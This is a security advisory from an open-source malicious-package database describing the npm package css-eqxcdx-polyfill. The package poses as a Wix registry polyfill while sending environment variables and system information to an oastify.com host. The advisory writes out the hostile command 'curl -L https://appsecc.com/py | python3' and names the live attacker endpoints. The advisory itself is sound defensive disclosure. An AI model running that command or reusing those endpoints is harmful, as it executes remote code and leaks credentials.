MAL-2026-17573

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-eqxcdx-polyfill/MAL-2026-17573.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17573
Published
2026-10-05T16:14:36Z
Modified
2026-10-05T16:31:38Z
Summary
Malicious code in css-eqxcdx-polyfill (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (a93fe0298f7671177e324947b2bf89ec3729b203621f7ca67aa8cd10439306a2)

The package presents itself as a polyfill exporting Wix thunderbolt-style registry stubs (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, etc.), but thunderboltRegistry.js runs an IIFE on module load that performs two installer-side attacks. First, it executes id, whoami, env, and ifconfig/ip addr via child_process.execSync, collects the OS hostname, and POSTs the output together with a wholesale dump of process environment variables via fetch() to the hardcoded Burp Collaborator OAST host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, including a tagged cmd=env beacon. Environment variables on developer and CI hosts routinely contain cloud, registry, and CI credentials. Second, it runs curl -L https://appsecc.com/py | python3 via execSync, fetching and executing an arbitrary remote Python payload on the installer's machine, with a self-labeled cmd=reverse-shell beacon sent to the same OAST host. The registry-API facade and the Wix-adjacent naming are cover for the reconnaissance and remote code execution in the same file; the package has no legitimate functionality.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-021078",
            "import_time":  "2026-10-05T16:22:56.912573368Z",
            "modified_time":  "2026-10-05T16:14:36Z",
            "sha256":  "a93fe0298f7671177e324947b2bf89ec3729b203621f7ca67aa8cd10439306a2",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / css-eqxcdx-polyfill

Package

Name
css-eqxcdx-polyfill
View open source insights on deps.dev
Purl
pkg:npm/css-eqxcdx-polyfill

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "thunderboltRegistry.js",
            "sha256":  "098fac4f87d662808d1fcb744c79416ac42dd1ae997a1f96a998f2f3b46ce699",
            "tlsh":  "e07131b5b99df02166c33438db7f5049b4bb86672c6caee0740899b01f7585c01ba6f4"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "css-eqxcdx-polyfill-1.0.0.tgz",
            "hashes":  {
                "sha1":  "7557c9d44b83fa297b2e679935c315e8c63186c5",
                "sha512_sri":  "sha512-K2Cyx29csVIzcdLgoftJ1PQfZBb8NB8x28Hl8TRWDN+4ZLcgL7uFBSPd4rIgt9MXy/fWsOWXMSWXX8QPTeUJTg=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-eqxcdx-polyfill/MAL-2026-17573.json"